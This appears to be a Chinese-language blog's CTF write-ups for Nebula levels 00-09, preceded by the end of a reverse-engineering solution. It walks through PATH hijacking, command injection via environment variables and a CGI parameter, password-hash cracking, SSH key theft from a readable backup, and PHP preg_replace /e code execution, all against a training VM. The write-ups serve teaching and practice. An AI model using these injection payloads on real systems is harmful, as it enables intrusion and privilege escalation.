.text:080484BA                 movzx   eax, ds:byte_804A022
.text:080484C1                 cmp     al, 7Ch
.text:080484C3                 jz      short loc_80484CC
.text:080484C5                 mov     eax, 0
.text:080484CA                 jmp     short loc_80484F5
.text:080484CC ; ---------------------------------------------------------------------------
.text:080484CC
.text:080484CC loc_80484CC:                            ; CODE XREF: sub_8048451+72j
.text:080484CC                 movzx   eax, ds:byte_804A020
.text:080484D3                 cmp     al, 78h
.text:080484D5                 jz      short loc_80484DE
.text:080484D7                 mov     eax, 0
.text:080484DC                 jmp     short loc_80484F5
.text:080484DE ; ---------------------------------------------------------------------------
.text:080484DE
.text:080484DE loc_80484DE:                            ; CODE XREF: sub_8048451+84j
.text:080484DE                 movzx   eax, ds:byte_804A023
.text:080484E5                 cmp     al, 0DDh
.text:080484E7                 jz      short loc_80484F0
.text:080484E9                 mov     eax, 0
.text:080484EE                 jmp     short loc_80484F5

之后连续三段对刚才异或后的数字进行操作。异或的反函数还是异或，所以直接异或就能得到结果。这里用python计算一下：

>>> chr(0x32 ^ 0x7c)
'N'
>>> chr(0x34 ^ 0x78)
'L'
>>> chr(0x88 ^ 0xdd)
'U'`

所以[20]=L，[22]=N，[23]=U。

最后eax置1并返回。这样可以得到答案为L1NUX。

Exploit Exercises Nebula level05-09 Writeup

2014-09-08T19:18:00-07:00

Nebula level05

Check the flag05 home directory. You are looking for weak directory permissions

在flag05家目录下找弱权限控制。

直接查flag05的home目录，发现.backup和.ssh文件很可疑，.ssh没权限，那就.backup。进去之后发现一个.tgz文件，解压之：

tar zxf /home/flag05/.backup/backup-19072011.tgz -C ~/

此时在自己家目录下也有.ssh文件并具有了flag05的ssh登陆公私钥，这样就可以直接用flag05无密码登陆了。

ssh flag05@localhost

你都是flag05了，做什么知道了吧~~

Nebula level06

The flag06 account credentials came from a legacy unix system.

题目说flag06账户令牌的形式继承于已经被放弃的Unix。

Unix没用过，好惭愧，也不知道什么验证的形式，反正我就直接cat /etc/passwd | more了，然后发现，flag06账户的密码字段不是x而是直接一堆值。Google一下发现，因为passwd的r权限太高（主要很多程序把它当用户数据表），因此Linux采用shadow存放密码，这样passwd里就变成x了（其实老师说过的，但是因为现在都是x，所以也就没留意这个问题）。

OK，既然拿到了flag06密码的密文，那就破解呗。上Kali或者BackTracer5，没这些系统的需要下载并编译John the ripper来跑字典。我在Kali环境中，把密码那段字符串ueqwOCnSGdsuM写入/root目录下的flag06passwd文件中（你也可以写整个flag06在passwd中的那行），之后：

john ~/flag06passwd

基本上瞬间就跑出来密码是hello（赤裸裸的弱口令呀），登陆flag06去爽吧。

Nebula level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

一个perl脚本，脚本实现了ping主机的功能。

#!/usr/bin/perl
use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; } 

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc
ping(param("Host"));

flag07家目录下有一个thttpf.conf（perl服务器配置）和index.cgi（就是这个脚本）。因此需要执行它。根据程序逻辑，传入的Host参数为ping的地址。漏洞利用思路很简单，传入地址后截断，并执行getflag的代码。

那就开始行动：首先需要看看perl的服务器跑起来没

ps aux | grep thttpd

如果不幸没跑起来，那就用nebula登陆，之后：

sudo -s
su flag07
/usr/sbin/thttpd -C /home/flag07/thttpf.conf

这样先把自己变成root，然后变成flag07，然后把服务器跑起来。当然记得切回level07继续做题。

之后cat thttp.conf发现端口是7007，需要打开界面测试了。因为服务器还没配置网络，无法从远程访问，本着能不配置就不配置的的原则（参见开篇），就用curl或者wget吧（因为这个Linux没有图形界面，因此没有浏览器）。很不幸，curl没有，那就wget吧~

首先测试一下界面：

wget http://localhost:7007/index.cgi?Host=127.0.0.1 -O /home/level07/cgi.html

发现界面OK，之后插入做坏事的代码：

wget http://localhost:7007/index.cgi?Host=127.0.0.1;/bin/getflag -O /home/level07/cgi.html

很不幸，报错。根据错误内容发现参数没有解析完，因此对参数用escape编码：

wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag -O /home/level07/cgi.html

Done！

Nebula level08

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

又一个全世界可读文件攻击。看看用户想干嘛，然后进入flag08账户。

题目直接看懵了，什么叫world readable？

进入level08账户，切换到flag08目录，发现一个.pcap文件，恍然大悟，原来world readable是这个意思……所以说音乐啊美术啊也是world readable啊~好一个形容词。

既然是.pcap，那就得分析包。得先把.pcap搞出来到有图形界面的机器上。看来还是要配置网络（上一题白偷懒了，出来混，还是要还的T^T）。其实网络配置也很简单，因为非安装的系统，配个临时的网络配置就可以。进入nebula，之后：

sudo ifconfig eth0 192.168.1.50 netmask 255.255.255.0
sudo ifconfig eth0 up

这样这台机器就有192.168.1.50了ip了，ping一下看看通不通（不通的话查看一下虚拟机的网卡是否开启）。

继续本着偷懒原则，如果不装软件怎么把这个文件拷贝出来呢。那先查查端口：

netstat -anpt

没什么可用端口，不过看到非进程的22端口，想到了sftp。于是：

which sftp

果然有sftp客户端，继续搜索服务器端，无果。不过没事，有客户端就够了。在另一台有图形界面的Linux中开启SFTP（ip:192.168.1.200），之后在level08中执行：

sftp root@192.168.1.200
put capture.pcap

然后在把capture.pcap拖到wireshark里面，开始分析包。预判应该是用户登录过程没加密，然后留下了登录密码之类的信息。所以不出意外应该是TCP包，于是Follow一下TCP包，一行大字映入眼帘

Password: backdoor...00Rm8.ate

根据经验，一般16进制工具中.都是代表\0，就是字符串结尾（其实.表示不可读字符，一般在一堆字符串中时基本就是\0），所以密码应该是backdoor。尝试登录，错误！于是在wireshark中吧TCP包切换到HEX显示，发现这段数据信息如下：

000000B9  62                  b
000000BA  61                  a
000000BB  63                  c
000000BC  6b                  k
000000BD  64                  d
000000BE  6f                  o
000000BF  6f                  o
000000C0  72                  r
000000C1  7f                  .
000000C2  7f                  .
000000C3  7f                  .
000000C4  30                  0
000000C5  30                  0
000000C6  52                  R
000000C7  6d                  m
000000C8  38                  8
000000C9  7f                  .
000000CA  61                  a
000000CB  74                  t
000000CC  65                  e
000000CD  0d                  .

竟然是7F，查ASCII码表发现7F是Backspace（退格），0D是CR（回车），所以就按照这个顺序重新比划了下，得到密码是backd00Rmate。此题拿下！

Nebula level09

There's a C setuid wrapper for some vulnerable PHP code...

这是一个C用setuid包装后的脆弱的PHP代码……

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

看到PHP，心中大喜，总算碰到一个相对熟悉的语言，老乡见老乡，两眼泪汪汪啊~~

flag09目录下有一个可执行的flag09（这就是所谓具有SetUID的C语言包装的PHP解释器吧），还有给出代码的flag09.php。代码逻辑还是很简单的，传入两个参数，一个是文件路径，一个没有用到。根据文件路径读出文件之后把Email那部分读出来，替换掉一些字符（反垃圾邮件），之后输出。

没看出什么有问题的地方，不过传入参数一定是可以利用的点。preg_replace中的e参数用的不多呀，一般都是用i（忽略大小写）。于是查PHP Manual，果不其然，e使preg_replace第二个参数变成函数执行，就和执行eval一样，另外这个参数太危险，在PHP5.5之后废除改用回调函数实现了。一句话木马暴露了！那就构造一下呗。

于是构造文件内容为:

[email abc@def.com\");system(\"getflag]

照理说第二个参数应该被拼接成:

"spam(\"email abc@def.com\");system(\"getflag\")"

这样就能顺利执行两个函数了。很可惜，天不由人愿，整个东西都被当做字符串被扔到spam函数里了。所以这里如果要探究得看一下PHP源码中具体的处理过程。

顿时没思路了……之后Google一下php的preg_replace的e参数的漏洞，发现有利用{${function()}}的技巧。即在{${}}包裹后的函数会被执行。于是：

[email {${system('getflag')}}]

K.O！

Exploit Exercises Nebula level00-04 Writeup

2014-09-06T16:20:00-07:00

写在前面

上上个月成立watch0ut战队之后，开始准备并参与一些CTF比赛。队友大神Jack甩给我们exploit-exercises.com这个网站，让我们练习练习漏洞利用。

网站中把漏洞利用分为多类题型，其中Nebula最为简单，主要涉及Linux主机安全及利用的一些常识，可作为整个练习的开始。

另，本文会遵循能不用安装就安装，能不配置就不配置的最(偷)简(懒)策略来完成所有题型。

本文会记录我自己做题的思路和手法，供大家参考，也希望诸位能指出我理解或操作不慎处。

环境搭建

首先下载Nebula题目的光盘镜像，该ISO为LiveCD。因此可以不用安装，直接利用现成虚拟机修改为从该ISO启动即可。每次操作完整之后直接点“暂停”保存虚拟机状态即可，下次直接恢复。当然你也可以安装该ISO。

另外，我使用的光盘为exploit-exercises-nebula-5.iso，本系列Writeup全部在这个版本上完成。

Nebula
----------------------------------------------------------------------------------------------
Download        exploit-exercises-nebula-5.iso
----------------------------------------------------------------------------------------------
Version         5
----------------------------------------------------------------------------------------------
Changes         Moved from OVA to bootable CD format. Reduces issues with importing OVA files.
----------------------------------------------------------------------------------------------
SHA1 Checksum   e82f807be06100bf3e048f82e899fb1fecc24e3a

统一规则

每次任务使用任务的level账户登录并执行flag账户权限可执行的getflag文件（一般是这个名字）。比如，任务1使用level01账户，密码也为level01，你需要去寻找方法获取flag01才可以执行的getflag文件并执行它。
当需要系统配置时，使用nebula账户，密码也为nebula，并利用sudo执行需要root权限的操作。

Nebula level00

This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Alternatively, look at the find man page.

该题要求寻找一个可以SetUID的程序（该程序属于flag00账户）并运行它。你可以从/（根目录）开始寻找。

目标很明确，搜索一下属于flag00账户的带有SetUID权限的程序即可。果断man find，搜索一下和权限相关的参数，找到-perm，并且看到该参数后加入-mode可以指定匹配所有具有这个权限的文件（注意和mode及/mode的区别，这个-意味着权限的包含关系）。

到这儿我们需要回顾一下Linux下权限的表示方式：Linux的fs中，所有文件/目录/设备等都具有三个级别的用户权限控制，分别是u所有者，g所属群组，o其他用户。对于每个级别，又能分别控制r读w写x执行权限。另外，还有SetUID和SetGID的特殊权限位。

权限表示的时候，rwx和无权限-分别用数字4210表示，并执行位或运算，这样一个级别的用户权限就可以表示了（占用一个byte）。这种方法可以表示出三个不同用户级别的权限。同时加入最前面8bits的特殊权限位，就可以用4byte表示这个文件的完整权限。

例如：

u       g       o
rwx     r--     r--     0744
rwx     ---     ---     0700
rws     rwx     rwx     4777
rws     rws     rwx     6777

按照这个标准，我们这儿需要搜索的文件需要SetUID，因此可以构造权限表示为-u=s或者-4000，再考虑到针对文件搜索（限定类型为文件），因此可以构造如下命令（两者一致）。

find / -perm -u=s -type f -user flag00 > flag.txt
find / -perm -4000 -type f -user flag00 > flag.txt

之后查看flag.txt中内容，可以发现搜索到两个文件，执行第一个/bin/.../flag00即可过关。

Nebula level01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

题目说程序有漏洞允许任意程序执行。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

程序逻辑很简单：SetUID和SetGID后执行环境变量指定的echo文件，这样and now what?就是参数。因此马上能得到如下思路：

看到/usr/bin/env就立即反应过来可以从环境变量下手，修改后优先执行自己的程序。
需要运行getflag，而程序只能运行echo，因此要把echo和getflag关联上。

于是乎一气呵成执行以下命令：

ln -s /bin/getflag echo
PATH=/home/level01:$PATH
cd /home/flag01
./flag01

这里软连接需要创建在/home/level01或/tmp中，否则没有w权限。至此，此题拿下。

Nebula level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

和上一题一样的题干，还是找到可任意执行程序的漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

还是环境变量，这次是$USER，反而简单了，直接截断原来的程序即可。上代码：

USER=";/bin/getflag;"

Over :D

Nebula level03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

题目说检查flag03的home目录，注意里面的文件，同时有一个crontab任务每2分钟执行一次。

发现writeable.d目录和writeable.sh脚本。脚本内容如下：

for i in /home/flag03/writeable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done

其中ulmint -t 5控制CPU时间不超过5秒，bash -x "$i"用于执行$i文件。执行完之后删除文件本身。因此，只需要在writeable.d目录下创建文件并执行指令即可。文件内容如下：

/bin/getflag > result.txt

等待一段时间，系统会触发这个.sh脚本，之后去看result.txt文件即可发现getflag已经执行。

当然，这儿如果要看具体的crontab的任务事件，用nebula账户登录，执行sudo crontab -u flag03 -l即可。

Nebula level04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

寻找方法绕开读取限制，读取token文件内容。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
    printf("%s [file to read]\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
    printf("You may not access '%s'\n", argv[1]);
    exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
    err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
    err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

flag04的home目录下有属于level04组的flag04可执行文件和一个token文件（无权限），因此需要调用flag04来读取token。首先分析程序逻辑，程序有一个参数，但参数名不能是token（和前面一样，用软连接）。之后会读取这个参数为名字的文件，并把文件内容输出到屏幕（1是STD_OUT）。由于flag04目录没有w权限，因此软连接要创建到自己的家目录中。

ln -s /home/flag04/token ~/flag04passwd
/home/flag04/flag04 ~/flag04passwd

之后读取home目录下flag04passwd内容，为flag04密码，用flag04账户和获取的密码登陆后getflag。